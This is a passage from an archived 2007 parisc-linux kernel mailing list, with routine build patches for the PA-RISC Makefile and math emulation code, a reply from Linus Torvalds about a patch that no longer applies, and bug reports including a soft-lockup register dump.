Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vGIpc14dTXs8bKyRbmQ5q9xKRzdyMgMb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24827

> Possibly, this caused by setting
> 
>   CONFIG_UEVENT_HELPER_PATH="/sbin/udevd"
> 
> "/sbin/hotplug" doesn't exist and there's no help for this option,
> so it's not obvious what to select.

Changing this back to the default "/sbin/hotplug" avoids this udev
problem, however the kernel HPMC'd at the end of the boot.  Aside
>from the hpmc log, there's not much info on what happened.

Back to 2.6.22.9,
Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH][PARISC] Introduce cc-cross-prefix and clean
	up Makefile a bit
Date: Sun, 21 Oct 2007 20:34:30 +0200
Lines: 152
Approved: news@gmane.org
Message-ID: <20071021183430.GA5881__5171.37383944846$1416624448$gmane$org@uranus.ravnborg.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624448 25397 80.91.229.3 (22 Nov 2014 02:47:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>,
 Grant Grundler <grundler@parisc-linux.org>,
 Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Oct 2007 18:33:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 21 Oct 2007 20:33:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60AFF7EA7A;
	Sun, 21 Oct 2007 12:33:26 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id LJIAmlF3TFY8; Sun, 21 Oct 2007 12:33:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 183DF7EA7C;
	Sun, 21 Oct 2007 12:33:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 75E787EA75
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Oct 2007 12:33:08 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7AE4x9mzc1j4 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Oct 2007 12:32:56 -0600 (MDT)
Original-Received: from pasmtpB.tele.dk (pasmtpb.tele.dk [80.160.77.98])
	by free.linux.hp.com (Postfix) with ESMTP id EE94A7EA72
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Oct 2007 12:32:55 -0600 (MDT)
Original-Received: from ravnborg.org (0x535d98d8.vgnxx8.adsl-dhcp.tele.dk
	[83.93.152.216])
	by pasmtpB.tele.dk (Postfix) with ESMTP id 8B8E8E3007B;
	Sun, 21 Oct 2007 20:32:54 +0200 (CEST)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 12596580D2; Sun, 21 Oct 2007 20:34:30 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.4.2.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Kf5pZ1g0eSE4eL6WZHQhuBx2IGRvb8BL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24828

Introduce cc-cross-prefix to improve compatibility
with diverse cross compile environments.

In the same process arch/parisc/Makefile was
beautified a little - with no functional changes.

In my setup I now avoid the error message from
"which palo" because I have no palo installed.

Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
---
partly tested. My hppa toolchain is busted but
I could test most of the changes.

IMHO the end-result is much easier to read.
I had to compromise on the indent where I did the CROSS_COMPILE
stuff - 3x8 was too much.

Please review my selected set of possible cross compile
prefixes. It is not a direct 1:1 from the original Makefile.

	Sam

 Makefile |   65 +++++++++++++++++++++++++++------------------------------------
 1 file changed, 28 insertions(+), 37 deletions(-)


diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index ae4a9b3..516a60f 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -18,28 +18,24 @@
 #
 NM		= sh $(srctree)/arch/parisc/nm
 CHECKFLAGS	+= -D__hppa__=1
-
-MACHINE		:= $(shell uname -m)
-ifeq ($(MACHINE),parisc*)
-NATIVE		:= 1
-endif
+OBJCOPY_FLAGS =-O binary -R .note -R .comment -S
 
 ifdef CONFIG_64BIT
 UTS_MACHINE	:= parisc64
 CHECKFLAGS	+= -D__LP64__=1 -m64
-WIDTH		:= 64
-CROSS_COMPILE	:= hppa64-linux-gnu-
+ifneq ($(SUBARCH),$(ARCH))
+        ifeq ($(CROSS_COMPILE),)
+                CROSS_COMPILE := $(call cc-cross-prefix, hppa64-linux-gnu- hppa64-linux-)
+        endif
+endif
 else # 32-bit
-WIDTH		:=
+ifneq ($(SUBARCH),$(ARCH))
+        ifeq ($(CROSS_COMPILE),)
+                CROSS_COMPILE := $(call cc-cross-prefix, hppa-linux-gnu- hppa-linux-)
+        endif
 endif
-
-# attempt to help out folks who are cross-compiling
-ifeq ($(NATIVE),1)
-CROSS_COMPILE	:= hppa$(WIDTH)-linux-
 endif
 
-OBJCOPY_FLAGS =-O binary -R .note -R .comment -S
-
 cflags-y	:= -pipe
 
 # These flags should be implied by an hppa-linux configuration, but they
@@ -62,46 +58,43 @@ cflags-$(CONFIG_PA7100LC)	+= -march=1.1 -mschedule=7100LC
 cflags-$(CONFIG_PA7300LC)	+= -march=1.1 -mschedule=7300
 cflags-$(CONFIG_PA8X00)		+= -march=2.0 -mschedule=8000
 
-head-y			:= arch/parisc/kernel/head.o 
-
 KBUILD_CFLAGS	+= $(cflags-y)
 
-kernel-y			:= mm/ kernel/ math-emu/ kernel/init_task.o
+head-y				:= arch/parisc/kernel/head.o 
+kernel-y			:= arch/parisc/mm/
+kernel-y			+= arch/parisc/kernel/
+kernel-y			+= arch/parisc/math-emu/
+kernel-y			+= arch/parisc/kernel/init_task.o
 kernel-$(CONFIG_HPUX)		+= hpux/
+libs-y				+= arch/parisc/lib/
+drivers-$(CONFIG_OPROFILE)	+= arch/parisc/oprofile/
 
-core-y	+= $(addprefix arch/parisc/, $(kernel-y))
-libs-y	+= arch/parisc/lib/
-
-drivers-$(CONFIG_OPROFILE)		+= arch/parisc/oprofile/
-
-PALO := $(shell if which palo; then : ; \
-	elif [ -x /sbin/palo ]; then echo /sbin/palo; \
-	fi)
-
-PALOCONF := $(shell if [ -f $(src)/palo.conf ]; then echo $(src)/palo.conf; \
-	else echo $(obj)/palo.conf; \
+PALO := $(shell                         \
+	if (which palo)  2>&1 ; then : ; \
+	elif [ -x /sbin/palo ]; then     \
+		echo /sbin/palo;         \
 	fi)
 
 palo: vmlinux
-	@if test ! -x "$(PALO)"; then \
+	$(Q)if test ! -x "$(PALO)"; then \
 		echo 'ERROR: Please install palo first (apt-get install palo)';\
 		echo 'or build it from source and install it somewhere in your $$PATH';\
 		false; \
 	fi
-	@if test ! -f "$(PALOCONF)"; then \
+	$(Q)if test ! -f "$(obj)/palo.conf"; then \
 		cp $(src)/arch/parisc/defpalo.conf $(obj)/palo.conf; \
 		echo 'A generic palo config file ($(obj)/palo.conf) has been created for you.'; \
 		echo 'You should check it and re-run "make palo".'; \
 		echo 'WARNING: the "lifimage" file is now placed in this directory by default!'; \
 		false; \
 	fi
-	$(PALO) -f $(PALOCONF)
+	$(PALO) -f $(obj)/palo.conf
 
 # Shorthands for known targets not supported by parisc, use vmlinux as default
 Image zImage bzImage: vmlinux
 
 kernel_install: vmlinux
-	sh $(src)/arch/parisc/install.sh \
+	sh $(srctree)/$(src)/arch/parisc/install.sh \
 			$(KERNELRELEASE) $< System.map "$(INSTALL_PATH)"
 
 install: kernel_install modules_install
@@ -119,10 +112,8 @@ define archhelp
 endef
 
 # we require gcc 3.3 or above to compile the kernel
-archprepare: checkbin
-checkbin:
-	@if test "$(call cc-version)" -lt "0303"; then \
-		echo -n "Sorry, GCC v3.3 or above is required to build " ; \
-		echo "the kernel." ; \
+archprepare:
+	$(Q)if test "$(call cc-version)" -lt "0303"; then \
+		echo "Sorry, GCC v3.3 or above is required to build the kernel." ; \
 		false ; \
 	fi
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Use the new sg_page() helper
Date: Tue, 23 Oct 2007 10:00:22 -0700 (PDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <alpine.LFD.0.999.0710230956330.30120__32876.0118726224$1416624448$gmane$org@woody.linux-foundation.org>
References: <1193156092-11819-1-git-send-email-Emilian.Medve@Freescale.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624448 25400 80.91.229.3 (22 Nov 2014 02:47:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:28 +0000 (UTC)
Cc: axboe@kernel.dk,
 chris@zankel.net,
 linux-kernel@vger.kernel.org,
 anil.s.keshavamurthy@intel.com,
 linuxppc-dev@ozlabs.org,
 paulus@samba.org,
 shaohua.li@intel.com,
 linux-arm-kernel@lists.arm.linux.org.uk,
 parisc-linux@lists.parisc-linux.org,
 ashok.raj@intel.com
To: Emil Medve <Emilian.Medve@Freescale.com>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Oct 2007 17:03:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 23 Oct 2007 19:03:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3565E7EA84;
	Tue, 23 Oct 2007 11:03:44 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id FfFSrAqn7dZn; Tue, 23 Oct 2007 11:03:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 305667EAEB;
	Tue, 23 Oct 2007 11:03:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 517C27EA75
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Oct 2007 11:03:26 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ooxbrSyuDc+6 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Oct 2007 11:03:14 -0600 (MDT)
Original-Received: from smtp2.linux-foundation.org (smtp2.linux-foundation.org
	[207.189.120.14])
	by free.linux.hp.com (Postfix) with ESMTP id C60357E6CC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Oct 2007 11:03:13 -0600 (MDT)
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org
	[207.189.120.55]) by smtp2.linux-foundation.org
	(8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id
	l9NH0NLa026658
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 23 Oct 2007 10:00:24 -0700
Original-Received: from localhost (localhost [127.0.0.1]) by imap1.linux-foundation.org
	(8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id
	l9NH0MC4029381; Tue, 23 Oct 2007 10:00:22 -0700
In-Reply-To: <1193156092-11819-1-git-send-email-Emilian.Medve@Freescale.com>
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.53 on 207.189.120.14
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TR4rc34HTiEscKyUaGRwWBB1ZUVSRFcy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24829



On Tue, 23 Oct 2007, Emil Medve wrote:
>
> Fix build error messages such as this:

Some - but apparently not all - of these are already fixed in my tree, 
through pulls from Jens. I just pushed out the result, can you resend the 
parts that didn't already get fixed?

As is, the patch won't apply for me, since it touches many different parts 
and some of them are fixed.

		Linus
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's in parisc-2.6.git
Date: Tue, 6 Nov 2007 22:32:08 -0500 (EST)
Lines: 52
Approved: news@gmane.org
Message-ID: <200711070332.lA73W8O3026888__13228.4265048385$1416624449$gmane$org@hiauly1.hia.nrc.ca>
References: <200710201917.l9KJHpPZ023957@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624449 25402 80.91.229.3 (22 Nov 2014 02:47:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:29 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Nov 2007 03:32:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 07 Nov 2007 04:32:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7CA597F381;
	Tue,  6 Nov 2007 20:32:50 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id vYPsjz1I678p; Tue,  6 Nov 2007 20:32:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 572997F37D;
	Tue,  6 Nov 2007 20:32:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6DB9F7F37B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Nov 2007 20:32:33 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id k2-Wh+AM0So9 for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Nov 2007 20:32:21 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 330267F378
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Nov 2007 20:32:21 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lA73W9Y5026889;
	Tue, 6 Nov 2007 22:32:14 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lA73W8O3026888;
	Tue, 6 Nov 2007 22:32:08 -0500 (EST)
In-Reply-To: <200710201917.l9KJHpPZ023957@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Oct 20, 2007 03:17:50 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3wkHdmoOYmYTTenCanc3LwhKWkZTQVSZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24830

> Changing this back to the default "/sbin/hotplug" avoids this udev
> problem, however the kernel HPMC'd at the end of the boot.  Aside
> from the hpmc log, there's not much info on what happened.
> 
> Back to 2.6.22.9,

I was almost about to say the version as 2007-10-22 resolved the
issues that I have been seeing with 2.6.23.  This build booted ok
but died after three days with a soft lockup:

BUG: soft lockup - CPU#1 stuck for 11s! [udevd:382]

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000001100001111 Not tainted
r00-03  000000000804030f 00000000405c6b20 000000004011dde4 0000000000000000
r04-07  00000000405bd320 000000004052ff00 000000004052ff00 00000000405f7008
r08-11  0000000000000001 00000000404a92c0 00000000404b3be0 0000000000000001
r12-15  0000000000000000 00000000fb111bc0 00000000453be3c0 0000000000000000
r16-19  00000000459ecec0 00000000475909c0 00000000453439c0 000000004052ff00
r20-23  0000000000000038 00000000404b4330 0000000000000000 0000000000000001
r24-27  0000000000000000 0000000000000008 00000000404b4330 00000000405bd320
r28-31  0000000000000001 000000004487c750 000000004487c700 00000001032c2993
sr00-03  000000000004a000 0000000000000000 0000000000000000 000000000004a000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004011de24 000000004011de28
 IIR: 0e6010dc    ISR: 00000000474e400a  IOR: 00000000401131cc
 CPU:        1   CR30: 000000004487c000 CR31: fffffff0f0e098e0
ORIG_R28: 0000000000000101
IAOQ[0]: smp_call_function+0x2dc/0x390
IAOQ[1]: smp_call_function+0x2e0/0x390
RP(r2): smp_call_function+0x29c/0x390

The above message repeated every 11 seconds or so on the console.  Nothing
in any other logs.

The system did get through two gcc builds before crashing.

Another minor problem that I see is testsuite timeouts for tests that
don't normally timeout.  This seems almost random and I have no idea how
to reproduce it.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Lichtenheld <frank@lichtenheld.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] [PARISC] decode_exc: include linux/kernel.h
	for printk
Date: Mon, 12 Nov 2007 11:33:18 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <1194863598-22846-1-git-send-email-frank@lichtenheld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624449 25407 80.91.229.3 (22 Nov 2014 02:47:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:29 +0000 (UTC)
Cc: Frank Lichtenheld <frank@lichtenheld.de>,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Nov 2007 10:33:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 12 Nov 2007 11:33:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5892F7F604;
	Mon, 12 Nov 2007 03:33:46 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id OL-qYq7FOgav; Mon, 12 Nov 2007 03:33:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 974E27F605;
	Mon, 12 Nov 2007 03:33:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 453067F603
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Nov 2007 03:33:29 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id IUAxfgoniz2K for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Nov 2007 03:33:18 -0700 (MST)
Original-Received: from mail.lenk.info (v32413.1blu.de [88.84.155.73])
	by free.linux.hp.com (Postfix) with ESMTP id D64227F5FC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Nov 2007 03:33:17 -0700 (MST)
Original-Received: from herkules.lenk.info
	([213.239.194.154] helo=smtp.lenk.info ident=Debian-exim)
	by mail.lenk.info with esmtpsa 
	(Cipher TLS-1.0:RSA_AES_256_CBC_SHA1:32) (Exim 4.63 1)
	id 1IrWbZ-000259-24; Mon, 12 Nov 2007 11:33:21 +0100
Original-Received: from p54b07181.dip.t-dialin.net ([84.176.113.129]
	helo=meitner.djpig.de) by smtp.lenk.info with esmtpsa 
	(Cipher TLS-1.0:RSA_AES_256_CBC_SHA1:32) (Exim 4.63 1)
	id 1IrWbW-000307-ER; Mon, 12 Nov 2007 11:33:18 +0100
Original-Received: from djpig by meitner.djpig.de with local (Exim 4.67)
	(envelope-from <frank@lichtenheld.de>)
	id 1IrWbW-0005wk-Ai; Mon, 12 Nov 2007 11:33:18 +0100
X-Mailer: git-send-email 1.5.3.4
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IB4Lc64ZX1VoOOuYY2FyL6h3SDc4NAwf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24831

arch/parisc/math-emu/built-in.o: In function `decode_fpu':
(.text.decode_fpu+0x24c): undefined reference to `printk'

Signed-off-by: Frank Lichtenheld <frank@lichtenheld.de>
---
 arch/parisc/math-emu/decode_exc.c |    1 +
 1 files changed, 1 insertions(+), 0 deletions(-)

 Doesn't normally fail, but somehow when playing with randconfig it did.

diff --git a/arch/parisc/math-emu/decode_exc.c b/arch/parisc/math-emu/decode_exc.c
index 66c8a9f..4e65072 100644
--- a/arch/parisc/math-emu/decode_exc.c
+++ b/arch/parisc/math-emu/decode_exc.c
@@ -46,6 +46,7 @@
 #include "dbl_float.h"
